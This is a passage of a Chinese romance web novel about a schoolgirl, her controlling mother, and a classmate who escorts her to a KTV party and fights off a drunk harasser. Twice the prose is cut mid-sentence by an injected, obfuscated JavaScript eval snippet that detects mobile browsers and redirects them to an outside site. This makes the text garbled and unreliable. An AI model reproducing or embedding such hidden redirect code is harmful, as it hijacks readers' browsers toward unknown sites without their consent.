姜挽抬眼看着她,她觉得今天的沈曼有些奇怪,话里总带着哀伤的情绪,但又说不上来具体是因为什么。 她猜想,会不会和她的工作有关系:“那妈妈你今天这个点还没去公司,待会儿迟到的话,会被领导批评吗?” 她知道沈曼工作辛苦,公司更是对考勤抓得十分严格。 谁知沈曼却答:“我今天也请假了,在家陪着你。” “那你这个月的全勤奖不就没有了?” “三百块钱罢了,妈妈还能从其他的地方赚回来。而且,我们现在这个领导对我还不错,年底涨薪的时候应该会给我加工资。”沈曼把体温计递给姜挽,顺便帮她捋了捋额角的碎发,“再说了,你都生病了,都是因为我没照顾好你。” 她的眼里满是自责,姜挽此刻懂了,原来沈曼刚才的不高兴全是因为担心她。 还有,关于工作的事情,这也是姜挽第一次从她口中听到,虽然不知道沈曼是不是为了安慰她才这么说的,可这一刻,姜挽愿意相信是真的。 把体温计放好,想了想,她还是试探性地开口:“妈妈,那等你明年涨了工资,我们可不可以从舅舅家里搬出去住?” 听到这个,沈曼瞬间皱眉:“怎么突然说这个?在这里,舅舅和外婆不是都对你挺好的的吗?他们是妈妈的亲人,也是你的亲人。” 沈曼有些不高兴,姜挽看出来了,可话题既然已经说到这了,她就还是想再尝试一下:“可这里毕竟是舅舅的房子,我还是想住在我们自己的房子里。只要是我们在一起,哪怕是租的,哪怕小一点,都没关系的。” 沈曼很为难:“呦呦,妈妈现在的情况,你是知道的,”她有些吞吐,“光靠我一个人的工资,是没办法负担我们两人在北城额外租房的费用的。” “可爸爸之前在江城明明留了……”姜挽有些着急,一着急就犯了错,提到了不该提的话题,等她意识到的时候,话虽然没说完,可还是已经晚了。 “你别跟我提他!”果然,沈曼爆发了,眼神偏执又受伤,像心底的伤疤被人翻出来,每一句都是咬着牙的说的,“说过多少次了,让你不要在我面前再提他,不要再提那个地方,你怎么就记不住呢?” 姜挽被吓到,不敢再说话了。沈曼的反应太激烈了,完全超出了她能接受的范围。她也不懂,为什么刚才还温温柔柔,处处替她着想的妈妈,怎么一提到这个话题就瞬间崩溃了呢。 接下来的几分钟,她俩都没再说话,沈曼抱着胳膊看向窗户,姜挽则是坐在床上发呆。四周静静的,只有窗外秋风卷过林梢的声音。 最后,还是沈曼先开了口,也是为了缓和关系吧,她还是问姜挽:“你昨天怎么突然发烧了?是不是遇到什么事了?” 遇到了吗,确实遇到了,但姜挽不想说,主要是现在说了也没用。 她摇了摇头:“可能来例假身体比较弱吧。” “嗯,”沈曼拿起她换下来的睡衣往外走:“以后多注意点,我给你煮了红糖水,一会儿洗漱完了来喝吧。” “好。” “还有,”已经走到门口了,沈曼还是忍不住叮嘱,“刚才说要搬出去的话,和我说说也就算了,以后在舅舅舅妈面前不要提,提了他们会不高兴。” 姜挽看着她的背影:“好的,我知道了。” 早餐除了红糖水外,还有沈曼特意准备的清粥小菜,一切都是按照姜挽的喜好和生理状态来准备的。而且吃饭的时候她也很正常,仿佛刚才的事情完全没有发生过,沈曼仍然十分自然地和姜挽沟通,只不过一般都是她交代,姜挽执行。 “刚才测体温还有点发烧,你一会儿吃完饭了把药吃了。” “好的。” “还有,你今天虽然不用去学校,但功课还是要做的,吃完饭把今天的学习安排列个计划出来,我看一眼。” “知道了。” 两人正说着话,姜挽放在旁边的手机突然响,屏幕上显示“陈屿”二字,她心虚地看了沈曼一眼,忙按了挂断。 “谁的电话?”沈曼果然问了。 “不知道,一个座机号码,应该是广告吧。” “嗯,快吃吧。” 陈屿这边,电话被她挂断,倒是也没生气,只是有些担心。她知道姜挽不是一个没有分寸的人,今天突然没来学校,肯定是因为有事。 他转而给她发了一条微信:【今天不来学校了?】 姜挽的微信有提示音,消息一来,沈曼便注意到了,她比姜挽还要在意:“同学给你发的微信?” 这种情况下,姜挽不能不看,她解锁屏幕,微信页面显示有陈屿的新消息,可开口却是:“嗯,是尤伽,问我今天为什么没去学校,需不需要把老师布置的作业发给我。” 一听是个女孩的名字,沈曼也就没再问,只是叮嘱:“多在学习上用心,多和成绩好的女孩玩是对的。你现在啊,就应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448266|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少和异性接触,把心思都放在学习上。” 这种话,沈曼不是第一次说了,以往姜挽都会应声,可这次她却低着头,半晌没吭声。 好一会儿,才说出一句:“妈妈,我吃好了,先回房间看书了。” “去吧,记得吃药啊。” “知道了。” 回到房间,姜挽这才开始给陈屿回微信:【刚才我妈妈在旁边。】 一句话,陈屿就全部懂了。 他不问,是因为在意。 她坚持要回,也是因为在意。 先回完这个,姜挽才答复他的问题:【我今天有点不舒服,请了一天假,不去学校了。】 【怎么了?严重吗?是不是和你来例假有关?】 【不是,就是有点感冒了,不严重。】 【那明天能来学校吗?】 【能。】 【好,那我等你。】 我等你…… 姜挽反复看着这三个字,她不知道他是不是是随口一说,并没有其他的意思,可到了她这,却莫名掀起了一阵悸动。 她垂下眼睫,开始打字:【今天的课表能不能发给我,我想对照着做学习计划。】 很快,陈屿那头便回复过来了,除了课表的照片外,还有一句话:【你在家好好养病,学习的事情不用担心,我会帮你处理好。】 陈屿说会帮她处理好,那就一定会处理好。姜挽原本还以为只是帮她收收桌上的试卷什么的,等第二天到了学校一看,几乎惊呆了。 不仅桌面的试卷被整理好了,抽屉里还塞了满满的水果和零食。更重要的是,他还在她的书上做了笔记和标注。 重点,难点,还有易错点,分别用了不同的颜色,比她以往自己标注的还要认真仔细。 姜挽看的时候,尤伽也在旁边,倒是陈屿一开始把这些给她后,便离开教室了。 尤伽凑过来,忍不住感叹:“没想到陈屿做起笔记来这么认真,认识他这么多年,我这还是第一次见他做笔记。” 姜挽也没想到他竟然会这么认真:“他确实整理得很好。” “是啊,重难点,还有老师强调的内容,他都帮你记下来了,还是你这个同桌好,”尤伽感叹,“我这个啊,要是我生病,别说帮我整笔记了,怕是他连自己的都搞不清。” “其实也不能这么说,孟云程也有他自己的优点的。” 姜挽本想劝她两句的,没想到尤伽倒是自己跳脱了这个话题:“算了,不提他了,对了呦呦,我下周过生日,到时候准备请大家吃饭,你一定要来啊。” 尤伽的生日,她当然会去:“好,地点订好了吗?” “还没呢,还在挑,”提到这个,尤伽似乎有些不大高兴,“之前选了好几个地方,都被我爸妈pass掉了,他们不是嫌太贵,就是觉得不适合,我还得再找找。” “别着急,这不是还有时间嘛。”姜挽安慰她。 “也对,那我再看看,等到时候确定好了再告诉你。” “好的。” 21. 第 21 章 尤伽的生日很快便到了,礼物姜挽早早便准备好了,可吃饭的地方,却是在当天才接到她的通知。 姜挽看着微信里尤伽分享的位置,微微皱眉,看起来应该是一家KTV,这种地方从来没去过。 很快,尤伽的电话便打来,背景声里有些嘈杂,歌声,音乐声,还有嘻笑打闹的声音:“呦呦,发给你的地址看了吗?怎么样,你过来不麻烦吧?” 麻不麻烦的倒是小事,主要是这地方,姜挽不大想去。平时瞒着沈曼和他们出去吃吃饭也就算了,真要是去了这种地方,被沈曼知道了,她就别想有安宁日子了。 “尤伽,”她叫她,声音有些吞吐,“要不我还是不去了吧,这种地方我没去过,而且其他人我也不认识,要不然你们好好玩儿,礼物等去学校了我再给你吧。” “别呀,你得来,”一听她这样说,尤伽当即有些不高兴,委屈巴巴地解释,“你是我最好的朋友,这种场合你要是不在的话,我会很遗憾的。” 尤伽那头像是换了个安静的地方,没了刚才的吵闹,声音也清晰了不少:“而且也没有其他人,就陈屿和孟云程,我朋友不多,其他人都是孟云程带来帮我撑场子的,他比我熟悉。” 一听陈屿也在,姜挽就有些动摇了:“那我先看看过去的路线,一会儿微信再和你联系。” 姜挽正准备挂断电话,突然听到尤伽在电话里喊了她一声:“呦呦,你先等一下,先别挂。” “好。” 很快,通过电话,姜挽能听到她似乎在和别人交谈,但具体说了什么听不清。没多久,尤伽再次切回来,语气很兴奋:“呦呦,你不用查了,陈屿说他过去接你。” “谁?”姜挽还以为自己听错了。 “陈屿啊。” “他来接我?顺路吗?” “应该不是,他已经到了呢。刚才和我说话的就是他,从包厢追出来的,问我是不是在和你打电话,一听说是,就立马说要去接你。” 所以,现在的情况是,陈屿专门来接她,然后他们两个人再一起返回,姜挽觉得真是太麻烦了:“不用了,你和他说,不用来接我,我自己过去就行。” “好,你等下,我去看下。” 电话里一阵空白,应该是尤伽去看了,很快再次回来:“呦呦,已经来不及了,他已经坐上车,人都走了。” 姜挽:“……” 电话那头好像有人在叫尤伽,尤伽也就没再多说,叮嘱她:“呦呦,一会儿陈屿接到你了,你记得和我说一声哈。” 事已至此,姜挽也没什么能说的了:“好,你先去忙吧。” 挂了电话,姜挽给陈屿去了一条微信,虽然知道希望不大,可还是打算尝试一下:【尤伽说你过来接我,其实不用麻烦的,我可以自己过去的。】 【我已经在车上了。】陈屿言简意赅。 【要是方便的话,你能不能让司机再掉头把你送回去?】 【不方便,这里是单行道,而且一上车就和司机说好了。】 【好的,那麻烦你了。】 【不麻烦,反正在那里待着也是无聊。】 无聊? 姜挽刚才明明听尤伽说今天去的人里面,孟云程的朋友居多,那些人陈屿应该也认识的呀,为什么会觉得无聊呢? 她刚想问,陈屿突然又发了一条微信过来:【你先收拾,快到了我联系你。】 【好的。】这句发出去,姜挽又想到了另外一件事情,虽然知道不太合适,可她还是说了,因为对面是他,所以过分的事情貌似也能说。 【今天我妈妈也在家。】 陈屿回的很快:【知道了。】 放下手机,姜挽先去沈曼房间,虽然之前已经和她提过这件事了,可出门前,还是得再说一声。 沈曼正对着电脑核对资料,见她进来,取下眼镜:“怎么了?” “妈妈,我之前和你提过的,今天我同学过生日,让我一起过去吃饭。” “尤伽是吧,”沈曼记得这个名字,因为是女孩,她倒是也不太反对,“你们在哪里吃饭,是正规餐馆吗,不是什么乱七八糟的地方吧?” 姜挽愣了一下,可还是摇头:“不是,就普通的餐馆。” “人多吗?都有谁?”沈曼并没有一口答应。 姜挽知道这次她如果再回答只有她和尤伽的话,沈曼肯定不会信的,于是想了想,还是打算直说:“除了我和尤伽,还有她一些其他的朋友。” 果然,沈曼一听,脸色就有些不好看了,放下鼠标,眼神也从电脑上移开:“那会有男生吧?” “会有的。” “那些男生你认识吗?” “有两个认识,是我们同班同学,其他的不认识。” “呦呦,”沈曼叹一口气,“我说过很多次了,不要和异性过多接触,这些对你学习没有好处的,你怎么就不听呢……” 还是老生常谈的那一套,沈曼脸色变了,语气也跟着变了,姜挽就在那里站着,一开始还能听得进去,后面也不知为何,突然发现这些东西就和过耳云烟一样,怎么也进不了她的脑子了。 “妈妈,”第一次,她打断了沈曼,语气很软,几乎算是祈求了,“你之前不是也说我来北城之后就一直在学习,没有其他的娱乐方式吗?尤伽是我在这里唯一的朋友,今天是她的生日,人家都邀请我了,而且我也已经答应了,我不想食言。” 她很认真,认真到沈曼不得不以一个平等的姿态来和她对视。 “你就这么想去吗?” 见有希望,姜挽忙保证:“我一定会早点回来,不会让你担心的,好吗?” 沈曼原本还想再说些什么,可看她这么坚持,也就没再说:“算了,仅此一次啊,你去吧,记得一定早点回来。” “好的,谢谢妈妈,我收拾下就出门。”她没提陈屿会来接她的事情,因为知道一提,今天可能就出不了门了。 回到房间,姜挽便开始挑衣服,她衣服不多,且几乎都是当初从江城带过来的,来到这里,就没买过新的。因为不多,也就没有太多的选择,她顺手拿了毛衣和半裙,又简单把头发收拾了下。 这些都弄完后,还没收到陈屿的消息,她便又把书桌整理了一遍。 做这些的时候,姜挽一直带着手机,因为她担心陈屿要是突然打电话过来,会被她妈妈听到。 事实证明,姜挽的担心实在有些多余了,陈屿不仅没有给她打电话,甚至连停车的位置也都是选在最隐蔽的地方。 【我到了,你下来吧。公交站对面的小巷子,进来后往右拐,差不多三十米的位置就是。】 收到微信,姜挽忙放下手里的东西,背了包往外走,她还以为陈屿会提前和她说呢,现在这种情况,他不就得在那里等她了吗。 【好的,不过我刚出门,你可能要等一会儿。】 【不着急,你慢慢走。】 【对了,车牌号是多少呢?】 【不用,你过来了我就能看见你。】 按照陈屿给的路线,姜挽很快便过了马路,进了小巷后往右拐,果然一抬头,便看见陈屿站在一棵悬铃木下,很显眼的一个位置,旁边还停着一辆出租车。 他穿黑色卫衣和同色系牛仔裤,脚上踩一双白色球鞋,带着黑色的棒球帽,单手插兜站在树下。悬铃木的树荫下,显得身材颀长挺拔。 看见姜挽的瞬间,他朝她扬了扬下巴。 姜挽第一次见他这种打扮,和以往在学校时的校服相比,青涩褪去了些,更多了几分酷酷的帅气。 她在看他,陈屿当然也在看她。 今天的姜挽一身白色毛衣搭配蓝色半身裙,头发半扎着,几缕垂在胸前,秋日的阳光下,显得温婉又沉静。 她就是有这样的气质,明明是极普通的衣服,可穿在她身上就会有不一样的感觉。陈屿一下便想起第一次遇到她时的场景,不过那时他是在暗处,她没看见他,这会儿两人是面对面。 从某种程度上来说,也算是一种进步吧。 姜挽走近了,有些气喘吁吁,因为担心他等太久,她一路都走得很快:“不好意思,等久了吧?” “没有,”陈屿很自然地接过她的书包,“不是说了别着急吗?怎么还跑起来了?反正以你这身高,走几步,跑几步,其实没多大所谓,我都能等。” 经过这几次下来,姜挽对他帮她拿书包的这个举动,已经不拒绝了,因为不管她怎么反抗,到最后陈屿还是会坚持,书包最终还是会到他手上。 只是她对他刚才的另外一句话有点意见,于是小声申辩:“我没有跑,只是走得比较快而已。而且,我身高也不矮。” 168的身高,虽然不能和他比,但在女生里面已经算是高个子了。 陈屿正在帮她开车门,听她这么说,瞬间扭头看回来,语气含着笑:“怎么,说你矮,还不服气了?” 姜挽拿脚来回踢着一颗小石子,就是不看他:“我不矮。” “是吗?那咱们来比比。” 话音落,也没给她准备的机会,便朝她跨近两步,瞬间站在了她面前。垂着眸,自上而下看着她,许是因为帽檐的缘故,他眉眼压得很低:“现在还觉得自己高么?” 这么近的距离,姜挽对上他漆黑的瞳仁,还有鼻尖淡淡的清香,脑袋瞬间就乱了。她趔趄着后退了两步,脚后跟碰到什么,伸手往后一摸,才知道是悬铃木的树干。 她不由自主靠上去,声音有点结巴:“我……我也没说和你比呀。” 陈屿笑:“哦,你一开始没说清楚,我还以为你是想和我比呢。”说着,他伸手去拉她的胳膊,拉住了,又帮她拍了拍后背沾上的灰尘,而后拉着她坐进了出租车后座。 “还有,”手撑着车门,他叮嘱她,“以后走太快也不行,过马路那里太危险了。下次记住了,慢慢走,无论多长时间我都等你。” 这一系列的动作太快,等姜挽反应过来的时候,陈屿已经从另外一侧上来,而且还在她身边坐下了:“师傅,麻烦还回原来的地方。” “好嘞。”司机应一声,随即一脚油门,车子从小巷离开。 一路,姜挽都比较安静,她的性格就是这样,比较慢热。刚才只有她和陈屿在的时候就很自然,这会儿有其他人在了,就很难再回到刚才的状态了。 陈屿也看出来了,也是怕她无聊吧,所以又开启了新的话题:“你给尤伽准备了什么礼物?” “口红。” “我看看?” “就在书包最外面的夹层里,我拿给你看。”说罢,姜挽就要去翻。 她想把书包拿回来,陈屿却不让,偏偏就着放在他腿上的姿势让她找,姜挽拗不过他,只得照做,好在她放的位置很好找。 口红其实很好看,先是最外面一层精品袋,打开后是一个盒子,里面还有一层垫纸,最后才是一层丝绒布,精致包裹着一只子弹头样式的口红。一看就是她精心挑选的。 “你常用这个牌子?”陈屿拿在手里看了看,很好奇。这么好看的包装,一看就是专门有研究过,可他平日里好像也没没见她涂过口红,基本都是自然的唇粉色。 “不是,”姜挽摇头,“这款口红是这家店的新品,款式质地都不错,最近好多人推荐。而且尤伽之前也提过她喜欢,所以我就买了。” 听起来,像是价格不便宜:“那你呢?” “我什么?” “你喜欢吗?”陈屿追问。 其实当然是喜欢的,只是她不得不考虑自己的经济状况罢了。姜挽将口红仔细收好,重新放回去:“还行,我不是很喜欢,感觉不适合我。” 陈屿垂眸看着她,等她把东西放好后,才开口:“我不认为,我觉得很适合。” 姜挽没把他的话当真:“你是男生,可能不大懂这些。” 前排的司机是个热心人,听他俩对话许是觉得有趣,这个时候便插上一句:“小姑娘,你就听你男朋友的吧,你男朋友眼光很好的。” 听到“男朋友”三个字,姜挽一下子便脸红了,她原本以为陈屿会解释,可等了两秒见他没动静,正打算自己开口,却没想到司机师傅还有后话。 “小姑娘你好福气呦,你男朋友不仅长得帅,对你也很好的。刚才过来的路上一直让我尽量快点,怕你等久了。到地方了也是,车刚停稳就下去等你了,你要珍惜呦。” 司机师傅也不知道是哪里人,说话口音自带质朴和搞笑,听他这样苦口婆心地劝说,姜挽一时竟有些哭笑不得。 “师傅,其实我们不是……” 姜挽想解释,师傅却当她是不好意思:“没关系,我很开明的,我和我老婆当初就是高中认识,大学一毕业就结婚了,如今儿女双全,别提多幸福了。” “我们真的……” “真的互相喜欢,对吗?”司机师傅很笃定,一副过来人的架势,“很多人可能会说现在年纪太小什么都不懂,可我却觉得只有这个年纪的感情才是最真挚的。等年纪大了再回头去看,有些人,有些事,其实一开始就注定好了。我能看出来,你们两个呀,是有缘分的。” 得,姜挽干脆放弃解释了,这简直就不在一个频道上。而且这师傅基本每一句话里都带着他自己的经历,姜挽也不好说什么。 她去看旁边的陈屿,原本想让他帮忙说两句的,说不定这样,就能多一份可信的力量,可偏偏这个时候他却在抱臂假寐,姜挽叹一口气,不得不再次独自面对。 好在后面师傅也多是说他和他老婆的事情,姜挽只听着就行,也就没一开始那么尴尬。 好不容易到了地方,姜挽松了一口气,正打算叫陈屿,却发现不知道什么时候他已经醒了,这会儿正拿手机给司机扫码付款,那样子别提多清醒了。 “你没睡着啊?” “谁说我睡着了?” “那你刚刚……”姜挽想问他为什么没睡着也不吭声,可司机还在车上,有些不好开口,于是还是打算先下车:“我先下去等你。” “嗯。”陈屿点头,顺便把钱给司机扫了过去。 前排的司机也注意到了:“小伙子,你怎么付这么多?” 陈屿收拾东西打算下车:“不多,应该的,您刚才还陪我在那里等了不少时间。” 司机也是个实在人:“不行,不能这么算的,等你是我们一开始就说好的,我不能现在要求加钱。” “不是您要求,是我主动加的。”陈屿看向车外的姜挽,目光变得温柔,“您可能还不知道,您今天无意中或许帮了我一个大忙。”他下车,关上车门,“所以,我得好好谢谢您。” 司机是过来人,他这么说,便有些明白了,隔着车窗和他做出“打气”的手势:“小伙子,加油,我看好你呦!” “借您吉言。” 姜挽在不远处看着他们,觉得有些奇怪。等陈屿走过来后,她便问道:“你们刚才说什么呢?” 陈屿面不改色地撒谎:“没什么,留个联系方式,以后需要打车的时候联系他,他如果在附近的话,可以打折。” “你下次还要坐他的车啊?”姜挽有些惊讶。 “怎么了?他人不是挺好的吗?” “我不是说他的人,我指的是他的话,你没发现这个师傅在车上说了很多话吗?” “有吗?还好吧。”陈屿提着她的书包在前面走,姜挽跟在后面。 “有啊,”提到这个,姜挽还有其他的话说,“对了,刚才在车上,你明明没睡着,为什么不和他解释呢?” “解释什么?”陈屿比她走得快,时不时会回头看她一眼。 “解释我们不是男女朋友啊。” “哦。” “哦”是什么意思,姜挽不理解:“所以,你刚才为什么不和他解释呢?” 她以为陈屿会用“假寐”或者“没听到”这种借口,没想到他竟然直接说:“这种事,清者自清,浊者自浊,有什么需要解释的吗?” “当然有了,刚才他明显是误会了。” “所以,你很介意?”陈屿突然停下,姜挽差点撞上他的后背,“被他误会你和我是那种关系,你很介意?” 姜挽退开两步,给他们二人之间留了一点空间,说不上来什么原因,她忽地有种矛盾拉扯的感觉,她想要的,和她实际能要的,似乎是两种不同的东西。 她避开了他的问题:“你知道的,我妈妈不喜欢我和异性接触,我怕她会知道。” “你妈妈现在不在这里,她也不会知道,”陈屿直接排除这种假设,某种程度上,他迫切地想要知道答案,“我问的是你,你会介意吗?” 姜挽低着头,没吭声。 陈屿不死心地又追问了一遍:“你不回答,是介意了?” 姜挽还是不说话,指尖来回绕着毛衣的下摆。 陈屿当即一锤定音:“那我就当你是不介意了。” “走吧,”他声音明显比刚才欢快几分,“尤伽他们还在等着。” 姜挽一路跟着陈屿,刚到楼下,便看见了尤伽的身影,她正拿着手机打电话,眼睛还不断往门口的方向看,看清她和陈屿后,忙匆匆挂了电话,朝他们跑来:“呦呦,你总算来了,这么长时间,我还以为路上遇到了什么事,你不来了呢。” “怎么会,我答应你了,就一定会来的,只不过路上有点远,用的时间长了点。” “是啊,确实挺久的,还好陈屿去接你了,不然我还不放心呢。” 说着,她们二人同时去看旁边的陈屿,这才发现他正提着姜挽的书包,一副百无聊赖的表情看着她们。虽没开口,可那神情已经再明显不过了,分明在说,有什么事,一定得在这里说吗? 尤伽反应过来,拉着姜挽:“走,我们先去包厢,去包厢再聊,而且那里还有很多好吃的。” 穿过大厅,坐电梯上六楼,再经过一段铺着长绒地毯的走廊,她们便来到了今天尤伽生日会的包厢。 门打开,包厢里的人瞬间都朝他们看了过来,尤伽一一介绍,孟云程帮忙补充,看得出来,孟云程比尤伽更熟了。 孟云程熟的人,陈屿自然也熟,他很随意地和他们打招呼,随即找了一个位置把姜挽的书包放下,又招手让她过去。 姜挽刚准备动,人群里突然传来一声调侃,是一个高个挑染发的男生:“呵,陈少,你这可不行,重色轻友啊!原来刚才那么着急离开,丢下兄弟,是因为和佳人有约啊!” 这话没恶意,且他们男生之间经常会这么开玩笑,可这会儿姜挽在,陈屿知道她脸皮薄,害怕她不高兴,便顺手拿起桌上的一个空饮料瓶,虚虚朝那人投过去:“少废话,赶紧唱歌去!” 塑料瓶在空中划过一道弧线,继而稳稳落入对方手中,高个男生笑了:“得,不开你玩笑了,我们去唱歌喽,你也赶紧来。” 陈屿笑骂道:“赶紧滚。” 笑闹声过去,人群散开,陈屿才敢去看姜挽的脸色,刚才在车上只有他们两个,司机也是不认识的人,调侃两句没关系。可这会儿,几乎都是认识的人,他怕她会不高兴:“他们说话就那样,没有别的意思,你别介意。” 青春期的男生,姜挽多少也有些了解,且今天是尤伽的生日宴,自然什么都以尤伽为主,于是很大方地开口:“没事。” 陈屿松一口气,刚想问她想喝什么,却又听到她再次开口:“他们玩笑开得这么熟练,应该也不是第一次了吧,你以前参加这种场合的时候,是不是也去接过其他女生?” “……?”陈屿难得吃瘪,一口气憋在心口,几乎被憋成内伤,心中暗想,还真是个小白眼狼。自己这么掏心掏肺地对她,到头来竟然还被怀疑? 他沉着脸:“你怎么会有这种想法?我这是第一次!” “哦,我随便猜的,没有就没有,怎么还生气了。”姜挽垂下眼睫,将眼底那点笑意掩藏起来,方才路上被他捉弄,这会儿才感觉扳回一局。 陈屿显然没打算放过她,对她刚才的话耿耿于怀:“不是,你有这种想法就不对,没事瞎猜什么?” “那我以后不瞎猜了。”姜挽乖乖点头,顺便指了指桌上的一瓶饮料,靠近陈屿那侧,“那个,能帮我拿一下吗?” “不能。” 陈屿嘴上说着不能,可手还是很自然地去帮她拿了,白桃味的碳酸饮料,拿在手里有些冰。姜挽只碰了一下,便又把它放了回去。 陈屿纳闷地看着她。 “太凉了。”姜挽老实回答。 陈屿看她一眼,没说话,而后面无表情地将这瓶饮料放在自己面前,又给她换了一瓶常温的,还特意帮她打开了。 没想到姜挽还是不喝。 “又怎么了?” “我不喜欢里面的气泡,想静置一会儿再喝。” “不喜欢气泡,那你还喝碳酸饮料?” “喜欢它的味道。” 陈屿叹气,又从旁边拿来一个玻璃杯,将饮料倒了大半杯进去,这样一来一回地晃动,气泡便逐渐消散了。等到最后一个散尽,他端给她:“这样总可以了吧?” “可以了,谢谢。”姜挽尝了一口,味道还不错,“我能不能再请你帮一个忙?” “还有什么其他要求,你最好一次性全说完。”陈屿的表情已经从一开始的不悦变成此刻淡然的平静了,甚至还带着点无奈,他真是拿她一点办法都没有。 “我还想尝尝你右手边的坚果。” 坚果种类很多,陈屿细心地把每一种都帮她挑了一份,他手上的动作温柔,可嘴上就没那么和善了:“你是该多吃点,就你现在这身板,来一阵风就能把你吹倒了。” 姜挽随他说,反正他都已经帮忙了,说两句就说两句吧。 姜挽边吃坚果,边喝饮料,时不时再听听大家唱的歌,觉得还挺自在的,逐渐也就没一开始那么紧绷了。 恰巧尤伽刚唱完一首歌,便怂恿姜挽也过去唱一首,姜挽拒绝了,让她听还行,要是在这么多人面前唱,还是算了吧。先不提她那上不了台面的唱歌水平,就这社恐的性格,也够她难受的了。 尤伽却有意想让她突破一下自己,也想让她多参与参与:“呦呦,来吧,我帮你点一首。” 这时,人群里突然冒出来一句:“陈屿好像也没唱,我们还从来没听他唱过歌呢。” 话音落,立刻有人附和:“给他俩点一首合唱吧,一首情歌大合唱。” “合唱!合唱!合唱!”这种场合,最是容易起哄。 看着这热烈的场面,姜挽有些慌了神,她看向旁边的陈屿,向他求助:“怎么办?” “你不会唱歌?” “会一点,但不好听。” 陈屿笑了:“倒是还挺有自知之明的。” 说罢,他将酒杯里剩的那点酒一饮而尽,冲着起哄的那群人走过去,笑骂一句:“一群落井下石的玩意儿,等我唱完,你们一个也跑不掉!” 大家想听的是合唱,他一个人上来,自然是不满意的:“谁要听你唱呀,我们要听的是合唱,男女对唱的那种。” 陈屿打断他们,霸气开口:“她不会,我替她。” “这可不行,”有人较真,“你怎么知道人家不会呀?再说了,你和人家是什么关系呀,凭什么替她?” 人群里有人开始吹口哨,陈屿无奈:“你小子挑事是不是?” 话虽这么说,他还是折回去问了姜挽的意见。室内很喧闹,头顶炫彩的灯光不停闪烁,更衬得他眼神清亮:“你行吗?” 到这一步,姜挽也考虑不了太多了:“没什么行不行的,大不了唱得难听,反正难受的也不是我自己的耳朵。” 陈屿笑了:“那你想唱哪一首,我去点。” 姜挽太久没听歌了,对现在的流行歌曲不熟悉,以前的老歌倒是还能记得几首,可一时也想不起来歌名:“随便吧,尽量不要点太流行的就行。” 尤伽在旁边听见了,自告奋勇地跑到点歌台:“我来帮你们点,点歌我熟。”她选了一个名字叫“怀旧经典情歌”的文件,点进去,直接选了排榜第一首,《知心爱人》。 旋律一出来,大家都笑了:“这歌可以,够经典。” 姜挽这会儿已经来不及思考这歌名和歌词的含义了,只是觉得旋律很熟悉,在脑海里迅速搜索了下,发现竟然还真能跟着唱,也就跟着旋律慢慢开口了。 确实如她所说,她唱歌一般,倒是陈屿音准和音色都极好,只不过为了配合她,一首歌也没怎么发挥,基本都在帮她起调和合声了。 整体下来,许是陈屿的唱歌起了作用,也可能是大家比较给面子,硬是夸他们唱得好听。 姜挽知道自己的水平,不敢居功,唱完后的第一件事便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚才和陈屿他们一起走的时候不觉得,这会儿姜挽一个人,突然发现这里的装修虽然豪华,可整体风格还是偏暗。 几何造型的墙壁,造型夸张的摆件,还有无处不在的金属质感的昏暗光线,确实能营造出一种隐秘的风格,可隐秘的同时也就意味着不安。 包厢离卫生间有段距离,姜挽一路按着指示牌走,中途碰上一个正抱着垃圾桶狂吐的人,嘴里还不干不净地骂着脏话。许是喝懵了,见到姜挽,作势就要来抓她手臂,姜挽赶紧绕过他,快速离开了。 从卫生间出来,姜挽特意慢了几分钟,目的就是为了躲开那个人,可没想到穿过走廊的时候,还是和他碰上了。只不过这次他已经站起来了,一张脸被酒精烧得通红,眼睛里全是混浊的酒意。 见到姜挽,他胡乱拿袖子擦了一把嘴,油腻地笑着,语气十分轻佻:“小妹妹,刚才见到哥哥,你跑什么呀?” 他这么一开口,倒是让姜挽看清了他的长相,很瘦,长脸,看起来比她大不了几岁,只是那满头的黄毛实在是扎眼。 遇见这种人,姜挽并不打算和他纠缠,而且她也记得陈屿之前的话,这种时候要镇定,保护好自己才是第一要位。 她转身要走,没想到那人竟然从后面追了上来,一把抓住她的胳膊:“小妹妹,你跑什么呀,哥哥我又不会吃了你,别害怕,我只是想和你……”说着,他打了一个嗝,满嘴酒臭地继续开口,“只是想和你认识一下而已。” 他虽然喝醉了,可力气实在大,姜挽挣了两下没挣开,有点慌。四周看了一眼,发现这个地方刚好在角落,再加上周围紧闭的包厢门,估计呼救都没人听得见。 那人见她不说话,更放肆了,抓住她的一只胳膊,还觊觎另一只:“小妹妹,别害怕,哥哥没有别的意思,只想和你交个朋友而已。我他妈真是好久没见过你这么清纯的学生妹了!” 姜挽一边寻找逃脱的路线,一边和他周旋:“你别碰我,我和我朋友一起来的,他们就在旁边,我叫一声,他们马上就过来了。” 哪知对方根本不害怕:“你叫呀,看看叫破喉咙他们能不能听到。” 说着,他就要上来摸她的脸,姜挽吓得赶紧闭上了眼,开始大叫,不是叫救命,而是叫“陈屿”的名字。 但想象中的恶臭并没有贴上来,取而代之的是“咔嚓”一声骨骼断裂的脆响,还有对方的惨叫。 惊吓中,姜挽睁开眼去看,这才发现陈屿真的出现了,而且此时正钳着那人的胳膊,扭打着把他往后拖。 “我操你妈!”那人趔趄着后退,疼得龇牙咧嘴,“你他妈是谁?竟然敢打我,知不知道我是谁?” 陈屿才不管他是谁,他的火根本就压不住。他擒住那人的肩膀把他往后拽,拽到墙边,“咚”的一声狠狠顶上去,继而掐着他的脖子把他的侧脸抵在墙上。 “我他妈管你是谁!你敢碰她,就应该想到后果!” “说,哪里碰的她。” “我他妈……啊!” 那人话还没说完,当即转变成一声惨叫。 “哪里碰的她。”陈屿还是这句话,只是他的语气和脸色比刚才更吓人了。 那人许是怕了,哆哆嗦嗦地开口:“手……手……” “哪只?” 